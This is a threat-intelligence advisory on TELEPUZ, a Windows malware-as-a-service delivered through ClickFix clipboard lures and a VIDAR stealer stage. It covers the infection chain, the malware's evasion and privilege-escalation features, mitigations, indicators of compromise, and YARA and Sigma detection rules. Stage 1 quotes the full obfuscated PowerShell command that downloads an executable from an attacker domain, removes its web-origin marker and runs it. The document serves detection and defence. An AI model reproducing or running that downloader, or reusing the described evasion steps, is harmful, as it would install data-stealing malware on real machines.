New TELEPUZ Malware Spreads via ClickFix to Steal Data and Run Commands

1. Executive summary

Elastic Security Labs has published a technical report on TELEPUZ, a modular, C-based Windows malware offered under a malware-as-a-service (MaaS) model and actively distributed since late April 2026 via ClickFix social-engineering lures. The infection chain uses a clipboard-hijacking technique to coerce users into executing PowerShell downloaders, ultimately delivering a Go variant of the VIDAR stealer followed by the TELEPUZ DLL payload, which supports data theft, remote command execution, privilege escalation to SYSTEM, and persistence as a Windows service. The malware employs active defence-evasion capabilities including AMSI/ETW disabling, NTDLL unhooking, anti-VM checks, and indirect system calls. EMEA financial services are exposed where employees browse compromised or malicious web pages on corporate endpoints; the combination of credential theft (VIDAR) and SYSTEM-level persistence (TELEPUZ) presents a direct risk to workstation integrity and downstream access to sensitive systems.

2. Regulatory framing

3. Technical analysis & attack chain

Attribution caveat: No MITRE ATT&CK actor profile has been resolved for the TELEPUZ operator(s). Attribution to a specific threat actor is unconfirmed. The MaaS classification is an assessment by Elastic Security Labs based on build-volume analysis, not a confirmed attribution.

Attack chain (corroborated by Elastic Security Labs and The Hacker News)

1. Initial access — ClickFix social engineering. The user visits a malicious or compromised web page displaying a fake browser error, CAPTCHA verification, or software update prompt. The page injects a malicious Windows shell command into the clipboard (clipboard hijacking / pastejacking) and instructs the user to paste and execute it.
2. Stage 1 — PowerShell downloader execution. The user pastes and runs the following command: C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c \ "$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';\ $f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);\ ri($f+':Zone.Identifier')-EA 0;& $f This downloads f322a5fa.exe from hxxps://memshowblob[.]forum/api/index.php?a=grab into %TEMP%, removes the Zone.Identifier MOTW, and executes it.
3. Stage 2 — VIDAR Go variant. The downloaded binary (SHA-256: 580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954) is a Go-language variant of the VIDAR stealer. VIDAR harvests sensitive data from the host (credentials, browser data, session tokens) and is configured to download and execute secondary payloads.
4. Stage 3 — TELEPUZ stager download. VIDAR downloads two additional components from hurgadatour[.]shop: a stager binary (install.exe) and the main payload (telepuz.dll). The stager (SHA-256: 03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746) is a small PE (~13–15 KB) that downloads the DLL, installs it in a configured folder, and executes it via rundll32.exe with a specified export name.
5. Stage 4 — TELEPUZ main payload execution. The main payload (reference SHA-256: 58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed) is a 64-bit Windows DLL written in C, with one or two exports named to mimic legitimate software. It is loaded via rundll32.exe.

TELEPUZ malware capabilities (from Elastic Security Labs analysis)

• Anti-analysis / environment checks:
• Hardware checks: terminates if fewer than 2 CPUs, less than 2 GB RAM, or insufficient disk space.
• Geolocation check: compares system locale identifier (LCID) against a hard-coded list of CIS countries; terminates if matched.
• Sandbox/researcher check: compares current username and computer name against a hard-coded list of common sandbox and malware-research identifiers.
• Defence evasion:
• Unhooks NTDLL to bypass userland hooks.
• Disables Antimalware Scan Interface (AMSI).
• Disables Event Tracing for Windows (ETW).
• Removes third-party DllNotification callbacks.
• Detects debuggers and attempts to crash them.
• Validates parent process name against a list of known runners (e.g., rundll32.exe, svchost.exe).
• Uses indirect system calls.
• Employs string encryption and import name hashing (custom hash algorithm with seed 0x97C2CA4B, multiplier 0x48076BB1, subtractor 0x4767A3AB) to dynamically resolve imports.
• Interleaves garbage instructions (some with side effects on global variables / Windows API calls) to slow reverse engineering.
• Privilege escalation & persistence:
• Generates a unique victim ID by concatenating hardware serial number, computer name, and OS installation date.
• Spawns two concurrent threads: one for elevation/persistence, one for C2 communication.
• Elevation thread uses the COM elevation moniker technique to gain Admin privileges, then attempts to steal the token of the first winlogon.exe process to obtain SYSTEM privilege.
• Installs itself as a Windows service for persistence.
• Command-and-control:
• C2 communication loop initiated after successful session identification.
• Number of C2 domains currently small but daily VirusTotal build uploads and rapid update pace indicate active development.
• Code characteristics:
• Written in C, likely hand-coded; lightweight with sparse memory allocations.
• Likely solo developer or very small team.
• Daily build volume on VirusTotal suggests MaaS distribution model.

Single-source caveat: The full technical analysis of TELEPUZ internals (anti-analysis, defence evasion, privilege escalation, C2 protocol) is sourced exclusively from Elastic Security Labs. The Hacker News report corroborates the infection chain and high-level capabilities but does not independently verify the internal mechanics. Treat internal-mechanism claims as single-sourced; verify before enforcement.

4. Mitigation & containment

P1 — Within 24 hours

• Block known infrastructure at network perimeter and DNS resolver:
• memshowblob[.]forum
• hurgadatour[.]shop
• Deploy EDR/Sigma detections for the PowerShell downloader pattern (see §6). The command uses -NoP -w h -ep bypass with string concatenation to build the download URL and removes the Zone.Identifier — this is a high-signal combination.
• Hunt for existing compromise:
• Search endpoint telemetry for rundll32.exe loading DLLs from non-standard paths with export names mimicking legitimate software.
• Search for f322a5fa.exe in %TEMP% directories.
• Search for install.exe and telepuz.dll on endpoints.
• Query VirusTotal / endpoint telemetry for the four known SHA-256 hashes (see §5).
• Search for the string telemetriawork in network logs and file metadata — Elastic identifies this as a significant marker for this family appearing in second-stage domain URLs.
• Restrict PowerShell execution on endpoints where feasible: enforce Constrained Language Mode, require script signing, block -ExecutionPolicy Bypass via AppLocker / WDAC.

P2 — Within 72 hours

• Hunt for VIDAR Go variant using hash 580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954 across endpoint telemetry.
• Review web proxy / DNS logs for any corporate endpoints that contacted the blocked domains in the preceding 90 days (active since late April 2026).
• Alert on defence-evasion behaviours: unhooking of NTDLL, disabling of AMSI/ETW, removal of DllNotification callbacks — these are detectable via EDR if the product exposes API hook state or AMSI telemetry.
• Alert on COM elevation moniker usage from non-standard processes — specifically winlogon.exe token theft attempts.
• Educate users on ClickFix social-engineering patterns: fake CAPTCHA verifications, browser-error prompts, and "copy-paste this to fix" instructions. This is the initial access vector and human vigilance is the first control.

P3 — Within 7 days

• Review service creation logs (Event ID 7045 / 4697) for suspicious services created on endpoints that may have been exposed to ClickFix lures.
• Validate endpoint hardening: ensure AMSI is not disabled by policy, confirm EDR agents report AMSI/ETW tampering alerts.
• Assess credential exposure: any endpoint where VIDAR executed should be treated as a credential-compromise event — rotate credentials, revoke active sessions for accessed applications, and review authentication logs for anomalous logins.

5. Indicators of compromise

sha256  580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954
sha256  03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746
sha256  58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed
domain  memshowblob[.]forum
domain  hurgadatour[.]shop
url  hxxps://memshowblob[.]forum/api/index.php?a=grab
filename  f322a5fa.exe
filename  install.exe
filename  telepuz.dll
keyword  telemetriawork

6. Detection

rule TELEPUZ_Main_Payload_Strings {
  meta:
    author = "Adverse Trace"
    date = "2026-07-16"
    reference = "https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix"
    description = "Detects TELEPUZ malware DLL based on artefacts from Elastic Security Labs analysis"
  strings:
    $export_telepuz = "telepuz.dll" ascii wide
    $stager_name = "install.exe" ascii wide
    $marker = "telemetriawork" ascii wide
    $hash_seed = { 4B CA C2 97 }
    $hash_mult = { B1 6B 07 48 }
    $hash_sub  = { AB A3 67 47 }
  condition:
    uint16(0) == 0x5A4D and 3 of them
}

rule TELEPUZ_ClickFix_PowerShell_Downloader {
  meta:
    author = "Adverse Trace"
    date = "2026-07-16"
    reference = "https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix"
    description = "Detects TELEPUZ ClickFix PowerShell downloader command artefacts"
  strings:
    $domain = "memshowblob" ascii wide
    $domain2 = "wblob" ascii wide
    $api = "api/index.php?a=grab" ascii wide
    $dropper = "f322a5fa.exe" ascii wide
    $concat = "'memsho'+'wblob" ascii wide
  condition:
    3 of them
}

title: TELEPUZ ClickFix PowerShell Downloader Execution
id: 7a3c1f2e-9b4d-4e8a-a6f1-3c5e7b9d0a12
status: experimental
description: Detects the TELEPUZ ClickFix PowerShell downloader pattern using string concatenation to build a download URL and removing Zone.Identifier
author: Adverse Trace
date: 2026/07/16
references:

  - https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
logsource:
  product: windows
  category: process_creation
detection:
  selection_powershell:
    Image|endswith: '\powershell.exe'
  selection_flags:
    CommandLine|contains|all:

      - '-NoP'
      - '-w h'
      - '-ep bypass'
  selection_artefacts:
    CommandLine|contains|all:

      - 'memsho'
      - 'wblob'
      - 'api/index.php?a=grab'
      - 'Zone.Identifier'
      - 'f322a5fa.exe'
  condition: selection_powershell and selection_flags and selection_artefacts
falsepositives:

  - Unlikely; the combination of string-concatenated domain and Zone.Identifier removal is highly specific
level: critical

title: TELEPUZ DLL Execution via rundll32
id: 3b8d2e1f-7c6a-4f9b-8e2d-1a4c6f8b0d35
status: experimental
description: Detects rundll32 loading telepuz.dll or install.exe stager from non-standard paths
author: Adverse Trace
date: 2026/07/16
references:

  - https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
logsource:
  product: windows
  category: process_creation
detection:
  selection_rundll:
    Image|endswith: '\rundll32.exe'
  selection_telepuz:
    CommandLine|contains:

      - 'telepuz.dll'
      - 'install.exe'
  filter_legitimate:
    CommandLine|contains:

      - 'C:\Windows\System32\'
      - 'C:\Windows\SysWOW64\'
  condition: selection_rundll and selection_telepuz and not filter_legitimate
falsepositives:

  - Legitimate software named install.exe loaded via rundll32 (unlikely)
level: high

7. Sources

• Elastic Security Labs — "TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains" — https://www.elastic.co/security-labs/telepuz-maas-malware-clickfix
• The Hacker News — "New TELEPUZ Malware Spreads via ClickFix to Steal Data and Run Commands" — https://thehackernews.com/2026/07/new-telepuz-malware-spreads-via.html — 2026-07-16

8. Adverse Trace position

TELEPUZ is an actively developed, modular MaaS malware with credible defence-evasion and privilege-escalation capabilities, delivered through a social-engineering vector (ClickFix) that has proven effective against enterprise users. The infection chain is multi-stage but detectable at each stage: the PowerShell downloader has distinctive string artefacts, the VIDAR stage has a known hash, and the TELEPUZ payload has identifiable filenames and the telemetriawork marker. The primary risk to EMEA financial services is endpoint compromise of employee workstations leading to credential theft (VIDAR stage) and SYSTEM-level persistence (TELEPUZ stage), which can serve as a foothold for lateral movement or access to internal financial systems. The small C2 footprint and active development suggest the operator is in an early growth phase — the IOC set is limited but high-fidelity. Attribution is unconfirmed; no MITRE actor profile has been resolved. The full internal-mechanics analysis is single-sourced from Elastic Security Labs. We will monitor for expanded C2 infrastructure, new build hashes, and any evidence of adoption by additional MaaS affiliates. Clients should prioritise blocking the two known domains, deploying the Sigma rules in §6, and hunting for historical exposure to the ClickFix PowerShell pattern.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.